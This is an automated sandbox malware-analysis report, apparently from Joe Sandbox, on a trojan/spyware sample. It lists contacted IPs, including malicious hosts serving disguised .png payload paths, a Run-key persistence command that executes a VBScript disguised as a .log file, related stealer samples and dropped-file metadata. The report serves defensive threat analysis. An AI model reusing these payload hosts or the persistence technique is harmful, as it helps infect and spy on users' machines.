                      http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2004/09/policylsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/wsdl/ertieslsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://go.micropowershell.exe, 0000000A.00000002.2168585557.000000000571B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2168585557.000000000551A000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://176.113.115.177/x/5.png(Qwscript.exe, 00000010.00000002.2261480334.000001BCC580A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2260904325.000001BCC5809000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/x/L.png2http://85.28.47.8/x/M.png.http://85.28.47.8/S.png8file.exe, 00000000.00000002.2124537762.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.2115779443.0000000000401000.00000020.00000001.01000000.00000003.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/Licensepowershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://g.live.com/odclientsettings/ProdV21C:svchost.exe, 00000019.00000003.2323087139.0000021F67F40000.00000004.00000800.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/02/trustlsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://github.com/Pester/Pesterpowershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmptrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://85.28.47.8/x/L.pngsfile.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/07/securitypolicylsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426513703.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369704917.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://g.live.com/odclientsettings/Prod1C:svchost.exe, 00000019.00000003.2323087139.0000021F67F9E000.00000004.00000800.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://176.113.115.177/x/5.pngmewscript.exe, 0000001C.00000002.2345956918.000001F2B6A18000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://ocsp.digicert.Tlsass.exe, 0000003A.00000002.3428474633.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/wsdl/soap12/lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://aka.ms/pscore6lBpowershell.exe, 0000000A.00000002.2168585557.0000000004DC1000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/wsdl/powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/wsdl/soap12/Plsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://176.113.115.177/x/5.pngm;C:wscript.exe, 00000010.00000002.2261496025.000001BCC5834000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2260572512.000001BCC581E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.2261076076.000001BCC5834000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://docs.oasis-open.org/ws-sx/ws-trust/200512lsass.exe, 0000003A.00000002.3426513703.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369704917.000002D6F064E000.00000004.00000001.00020000.00000000.sdmptrue
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdlsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000A.00000002.2168585557.0000000004DC1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.3438340722.0000000002DD4000.00000004.00000800.00020000.00000000.sdmptrue
                      • URL Reputation: safe
                      		unknown
                      http://85.28.47.8/x/M.pngors;file.exe, 00000000.00000002.2124777316.00000000004BE000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      104.17.247.203
                      		unpkg.comUnited States
                      		13335CLOUDFLARENETUSfalse
                      88.212.202.52
                      		counter.yadro.ruRussian Federation
                      		39134UNITEDNETRUfalse
                      85.28.47.8
                      		unknownRussian Federation
                      		31643GES-ASRUtrue
                      172.67.149.76
                      		2no.coUnited States
                      		13335CLOUDFLARENETUSfalse
                      176.113.115.177
                      		unknownRussian Federation
                      		49505SELECTELRUtrue

                      Private

                      IP
                      127.0.0.1

                      General Information

                      Joe Sandbox version:40.0.0 Tourmaline
                      Analysis ID:1467504
                      Start date and time:2024-07-04 11:15:08 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 11m 15s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:64
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:5
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:file.exe
                      Detection:MAL
                      Classification:mal100.troj.spyw.expl.evad.winEXE@93/31@4/6
                      EGA Information:
                      • Successful, ratio: 53.8%
                      HCA Information:
                      • Successful, ratio: 81%
                      • Number of executed functions: 400
                      • Number of non-executed functions: 167
                      Cookbook Comments:
                      • Found application associated with file extension: .exe

                      Warnings

                      • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, WmiPrvSE.exe
                      • Excluded IPs from analysis (whitelisted): 2.23.209.186, 2.23.209.189, 2.23.209.176, 2.23.209.193, 2.23.209.183, 2.23.209.177, 2.23.209.185, 2.23.209.182, 2.23.209.181, 20.190.159.75, 20.190.159.68, 20.190.159.2, 20.190.159.71, 40.126.31.71, 20.190.159.73, 20.190.159.64, 40.126.31.67
                      • Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, dns.msftncsi.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                      • Execution Graph export aborted for target RegSvcs.exe, PID 1708 because it is empty
                      • Execution Graph export aborted for target RegSvcs.exe, PID 5396 because it is empty
                      • Execution Graph export aborted for target RegSvcs.exe, PID 8188 because it is empty
                      • Execution Graph export aborted for target powershell.exe, PID 2248 because it is empty
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size exceeded maximum capacity and may have missing disassembly code.
                      • Report size getting too big, too many NtCreateKey calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Report size getting too big, too many NtReadVirtualMemory calls found.
                      • Report size getting too big, too many NtSetInformationFile calls found.
                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      05:16:02API Interceptor265x Sleep call for process: powershell.exe modified
                      05:16:21API Interceptor937x Sleep call for process: svchost.exe modified
                      05:16:52API Interceptor25452x Sleep call for process: RegSvcs.exe modified
                      05:16:57API Interceptor270536x Sleep call for process: winlogon.exe modified
                      05:16:58API Interceptor2108x Sleep call for process: dialer.exe modified
                      05:16:59API Interceptor207908x Sleep call for process: lsass.exe modified
                      05:17:01API Interceptor245689x Sleep call for process: dwm.exe modified
                      11:16:06AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft wscript //E:VBScript C:\Users\Public\0x1.log //Nologo
                      11:16:14AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Microsoft wscript //E:VBScript C:\Users\Public\0x1.log //Nologo

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      104.17.247.203http://cacahs.fdavm.com/Get hashmaliciousUnknownBrowse
                        https://www.belkin.com/login/Get hashmaliciousUnknownBrowse
                          https://dioz.com/Get hashmaliciousUnknownBrowse
                            http://diversey.com.plGet hashmaliciousUnknownBrowse
                              https://cakedrops.pages.dev/Get hashmaliciousUnknownBrowse
                                https://outstanding-carbonated-place.glitch.me/omnfhfjgfx.htmlGet hashmaliciousUnknownBrowse
                                  https://policy-meta-business3038.info/meta-community-standard?&contact=1036673319690198Get hashmaliciousUnknownBrowse
                                    http://uniswap-v3.org-referral-program.eu/Get hashmaliciousUnknownBrowse
                                      https://mg1bfngm.r.us-west-2.awstrack.me/L0/https:%2F%2Frevvitysignals.flexnetoperations.com/1/010101902cdaddd1-d5baf378-d6a1-494e-93fe-7e5b5c9ac2af-000000/Z7a4stK-RPA_fgx2tetLRX9SKSU=379Get hashmaliciousUnknownBrowse
                                        https://motley-cool-cougar.glitch.me/opmnfhfg.htmlGet hashmaliciousUnknownBrowse
                                          88.212.202.52http://pornolab.net/forum/viewtopic.php?t=2398569Get hashmaliciousUnknownBrowse
                                          • counter.yadro.ru/hit?t14.6;r;s1280*1024*24;0.15319494098503506
                                          172.67.149.76rpeticao_inicial.vbsGet hashmaliciousUnknownBrowse
                                            solaris-docs.lnkGet hashmaliciousUnknownBrowse
                                              qG2cUr0x4A.exeGet hashmaliciousBitCoin Miner, RedLine, SmokeLoaderBrowse
                                                file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                  file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                    file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                      file.exeGet hashmaliciousBitCoin Miner, RedLine, SmokeLoaderBrowse
                                                        file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                          file.exeGet hashmaliciousBitCoin Miner, RedLine, SmokeLoaderBrowse
                                                            file.exeGet hashmaliciousBitCoin Miner, RedLine, SmokeLoaderBrowse

                                                              Domains

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              unpkg.comhttps://login.ring-sport.ir/#DEME%20GroupGet hashmaliciousUnknownBrowse
                                                              • 104.17.249.203
                                                              http://pub-2e7429ed1f544f43a4684eeceb978dbb.r2.dev/home.htmlGet hashmaliciousUnknownBrowse
                                                              • 104.17.248.203
                                                              http://cacahs.fdavm.com/Get hashmaliciousUnknownBrowse
                                                              • 104.17.247.203
                                                              https://developers.foxit.com/Get hashmaliciousUnknownBrowse
                                                              • 104.17.249.203
                                                              https://ns43q4.csb.app/Get hashmaliciousUnknownBrowse
                                                              • 104.17.246.203
                                                              Informational-severity alert_ Creation of forwarding_redirect rule Case ID_FqJxoz8.emlGet hashmaliciousUnknownBrowse
                                                              • 104.17.248.203
                                                              FiddlerSetup.5.0.20243.10853-latest.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                                              • 104.17.246.203
                                                              https://www.belkin.com/login/Get hashmaliciousUnknownBrowse
                                                              • 104.17.245.203
                                                              https://dioz.com/Get hashmaliciousUnknownBrowse
                                                              • 104.17.247.203
                                                              https://us02web.zoom.us/webinar/register/6317193087387/WN_wbycs5lISL2eo8rEP6qUDg#/registrationGet hashmaliciousUnknownBrowse
                                                              • 104.17.248.203
                                                              counter.yadro.ruhttp://singlelogin.rsGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.198
                                                              https://onpagvus.storeGet hashmaliciousHTMLPhisherBrowse
                                                              • 88.212.201.198
                                                              http://cb00287.tw1.ru/Get hashmaliciousUnknownBrowse
                                                              • 88.212.201.198
                                                              https://disk.yandex.ru/d/ArN8zL4WbJeexQGet hashmaliciousPanda StealerBrowse
                                                              • 88.212.201.198
                                                              http://u.to/VH28IAGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.204
                                                              https://oxy.st/d/SmUhGet hashmaliciousXmrigBrowse
                                                              • 88.212.201.198
                                                              https://singlelogin.reGet hashmaliciousUnknownBrowse
                                                              • 88.212.202.52
                                                              https://goo.su/l1bfUYRGet hashmaliciousUnknownBrowse
                                                              • 88.212.202.52
                                                              https://0_kid43983.inibara.eu/Get hashmaliciousUnknownBrowse
                                                              • 88.212.201.198
                                                              https://goo.su/mwrmXGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.204
                                                              2no.coOg1SeeXcB2.exeGet hashmaliciousRemcos, Blank Grabber, PrivateLoader, SmokeLoaderBrowse
                                                              • 104.21.79.229
                                                              file.exeGet hashmaliciousSmokeLoaderBrowse
                                                              • 104.21.79.229
                                                              rpeticao_inicial.vbsGet hashmaliciousUnknownBrowse
                                                              • 172.67.149.76
                                                              setup.htaGet hashmaliciousRHADAMANTHYSBrowse
                                                              • 104.21.79.229
                                                              setup.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                              • 104.21.79.229
                                                              Blog.zipGet hashmaliciousRHADAMANTHYSBrowse
                                                              • 104.21.79.229
                                                              qG2cUr0x4A.exeGet hashmaliciousBitCoin Miner, RedLine, SmokeLoaderBrowse
                                                              • 172.67.149.76
                                                              file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                              • 104.21.79.229
                                                              file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                              • 172.67.149.76
                                                              file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                              • 104.21.79.229

                                                              ASNs

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              UNITEDNETRUhttp://singlelogin.rsGet hashmaliciousUnknownBrowse
                                                              • 88.212.202.52
                                                              https://onpagvus.storeGet hashmaliciousHTMLPhisherBrowse
                                                              • 88.212.201.204
                                                              https://disk.yandex.ru/d/ArN8zL4WbJeexQGet hashmaliciousPanda StealerBrowse
                                                              • 88.212.201.204
                                                              http://u.to/VH28IAGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.204
                                                              https://oxy.st/d/SmUhGet hashmaliciousXmrigBrowse
                                                              • 88.212.201.198
                                                              https://singlelogin.reGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.204
                                                              https://goo.su/l1bfUYRGet hashmaliciousUnknownBrowse
                                                              • 88.212.202.50
                                                              https://0_kid43983.inibara.eu/Get hashmaliciousUnknownBrowse
                                                              • 88.212.202.52
                                                              https://goo.su/mwrmXGet hashmaliciousUnknownBrowse
                                                              • 88.212.201.204
                                                              https://iili.ioGet hashmaliciousHTMLPhisherBrowse
                                                              • 88.212.202.52
                                                              CLOUDFLARENETUSswift_copy.docx.docGet hashmaliciousUnknownBrowse
                                                              • 188.114.96.3
                                                              swift_copy.docx.docGet hashmaliciousUnknownBrowse
                                                              • 188.114.97.3
                                                              Vq3Ri8EP9z.exeGet hashmaliciousLummaCBrowse
                                                              • 172.67.203.179
                                                              https://login.ring-sport.ir/#DEME%20GroupGet hashmaliciousUnknownBrowse
                                                              • 104.17.2.184
                                                              https://offpardu.com/frGet hashmaliciousUnknownBrowse
                                                              • 188.114.96.3
                                                              http://webdatatrace.comGet hashmaliciousUnknownBrowse
                                                              • 172.67.185.251
                                                              Revised PO.exeGet hashmaliciousAgentTeslaBrowse
                                                              • 172.67.74.152
                                                              update23.batGet hashmaliciousBraodoBrowse
                                                              • 172.65.251.78
                                                              https://worldofprocure.com/worldofprocure.rarGet hashmaliciousUnknownBrowse
                                                              • 1.1.1.1
                                                              Pod0SuHrkb.rtfGet hashmaliciousUnknownBrowse
                                                              • 188.114.97.3
                                                              GES-ASRUfile.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              d8gZVaN0ms.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, VidarBrowse
                                                              • 85.28.47.7
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              file.exeGet hashmaliciousAmadey, Mars Stealer, Stealc, VidarBrowse
                                                              • 85.28.47.4
                                                              CLOUDFLARENETUSswift_copy.docx.docGet hashmaliciousUnknownBrowse
                                                              • 188.114.96.3
                                                              swift_copy.docx.docGet hashmaliciousUnknownBrowse
                                                              • 188.114.97.3
                                                              Vq3Ri8EP9z.exeGet hashmaliciousLummaCBrowse
                                                              • 172.67.203.179
                                                              https://login.ring-sport.ir/#DEME%20GroupGet hashmaliciousUnknownBrowse
                                                              • 104.17.2.184
                                                              https://offpardu.com/frGet hashmaliciousUnknownBrowse
                                                              • 188.114.96.3
                                                              http://webdatatrace.comGet hashmaliciousUnknownBrowse
                                                              • 172.67.185.251
                                                              Revised PO.exeGet hashmaliciousAgentTeslaBrowse
                                                              • 172.67.74.152
                                                              update23.batGet hashmaliciousBraodoBrowse
                                                              • 172.65.251.78
                                                              https://worldofprocure.com/worldofprocure.rarGet hashmaliciousUnknownBrowse
                                                              • 1.1.1.1
                                                              Pod0SuHrkb.rtfGet hashmaliciousUnknownBrowse
                                                              • 188.114.97.3

                                                              JA3 Fingerprints

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              3b5074b1b5d032e5620f69f9f700ff0eRevised PO.exeGet hashmaliciousAgentTeslaBrowse
                                                              • 172.67.149.76
                                                              update23.batGet hashmaliciousBraodoBrowse
                                                              • 172.67.149.76
                                                              https://www.qcc.com/web/cms/overseaApply?opsriskcountry=%E7%BE%8E%E5%9B%BD&ip=155.190.35.6&back=%2Fweblogin%3Fback%3D%2Ffirm%2F1ef8635d382a741aaca689243a486673.htmlGet hashmaliciousUnknownBrowse
                                                              • 172.67.149.76
                                                              Revised PI_2024.exeGet hashmaliciousGuLoaderBrowse
                                                              • 172.67.149.76
                                                              McrflHf6vg.exeGet hashmaliciousWhiteSnake StealerBrowse
                                                              • 172.67.149.76
                                                              PRE ALERT Docs_PONBOM01577.xlsx.exeGet hashmaliciousAgentTeslaBrowse
                                                              • 172.67.149.76
                                                              https://metamesklogni.webflow.io/Get hashmaliciousUnknownBrowse
                                                              • 172.67.149.76
                                                              https://sula.starladeroff.com/Get hashmaliciousUnknownBrowse
                                                              • 172.67.149.76
                                                              http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/Get hashmaliciousHTMLPhisherBrowse
                                                              • 172.67.149.76
                                                              http://helpdesk-advertising-review-id-9865133.d3m7n55z273utf.amplifyapp.com/index.htmlGet hashmaliciousUnknownBrowse
                                                              • 172.67.149.76
                                                              37f463bf4616ecd445d4a1937da06e19swift_copy.docx.docGet hashmaliciousUnknownBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              MDE_File_Sample_7c220b40c46436e58ec622d8b81cd5b8965e0ba7.zipGet hashmaliciousUnknownBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              PTFE Coated Butterfly Valve Picture#U00b7pdf.exeGet hashmaliciousGuLoader, LokibotBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              Revised PI_2024.exeGet hashmaliciousGuLoaderBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              SecuriteInfo.com.Win32.MalwareX-gen.14314.27670.exeGet hashmaliciousPoverty StealerBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              file.exeGet hashmaliciousGuLoader, RemcosBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              file.exeGet hashmaliciousVidarBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              d8gZVaN0ms.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, VidarBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              1dntbjwU2s.exeGet hashmaliciousCryptOne, VidarBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52
                                                              XZ50BK5JPZ.exeGet hashmaliciousCryptOne, VidarBrowse
                                                              • 104.17.247.203
                                                              • 88.212.202.52

                                                              Dropped Files

                                                              ⊘No context

                                                              Created / dropped Files

                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.35901589905449205
                                                              Encrypted:false
                                                              SSDEEP:6:6x0loaaD0JOCEfMuaaD0JOCEfMKQmDsWx0loaaD0JOCEfMuaaD0JOCEfMKQmDs:caaD0JcaaD0JwQQLaaD0JcaaD0JwQQ
                                                              MD5:EB91E295A1811F70622A4AB31199E06E
                                                              SHA1:649BBBCD2F4DAE6FF6220DC21FB5A9E83E00D55E
                                                              SHA-256:B767841F7027FDA789FCD80300960ACAEB8DFC6CEF3925492783254FABDEE3DB
                                                              SHA-512:D835ECB655579A0FFD268BE52EDE41EA51455CA0D7EC1D289A41314EB2E0BEF4EB5BDDD9211A0186EBEE5D02E6A1C868CC271035D222BF6E50ABFD32B841BAD6
                                                              Malicious:false
                                                              Preview:*.>...........i.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................i.............................................................................................................................................................................................................................................................................................................................................................

                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):1310720
                                                              Entropy (8bit):0.7260255953865034
                                                              Encrypted:false
                                                              SSDEEP:1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0h:9JZj5MiKNnNhoxuo
                                                              MD5:B30AF773B6B186EBE264DB073F61C882
                                                              SHA1:114EA02A1D69CA7B119F21C2C79180606CF31675
                                                              SHA-256:95507D23ABCB03A013F3CC04F65B1E4AD10236E05F66118F2837F319EC852627
                                                              SHA-512:50CE618AAABB2967B15BF7BBF06F874E2D2527C09066AEE04A78148D80DF06C746E41B18445CCED7A8E4ECD78A0B2E2431E1EDB908B291929116FEBA329F0A35
                                                              Malicious:false
                                                              Preview:...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:Extensible storage user DataBase, version 0x620, checksum 0x02e85ffb, page size 16384, Windows version 10.0
                                                              Category:dropped
                                                              Size (bytes):1310720
                                                              Entropy (8bit):0.7555493309212623
                                                              Encrypted:false
                                                              SSDEEP:1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
                                                              MD5:AA5602E3FC43CA6A22A78584E31D8ECA
                                                              SHA1:7B928A17A520693FC1F19B0CC9B572D82FB29D61
                                                              SHA-256:370ABB7CE0090AF0ADDF46225A6B453B3EA30951679DEEC1D3CA80447F9AFCD6
                                                              SHA-512:7CFB3B11A4C7363DD986002F171D6C0195B15107EBA237A2C37E5D5D90F2BC37BE374E21C7CCD095545A2289F32498339F845602F2A4E98A1E74BE2E5FD6812A
                                                              Malicious:false
                                                              Preview:.._.... .......7.......X\...;...{......................6.h.....8....|.......|Q.h.g.....8....|..6.h.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{....................................7>8....|...................s8....|...........................#......6.h.....................................................................................................................................................................................................................................................................................................................................................

                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):16384
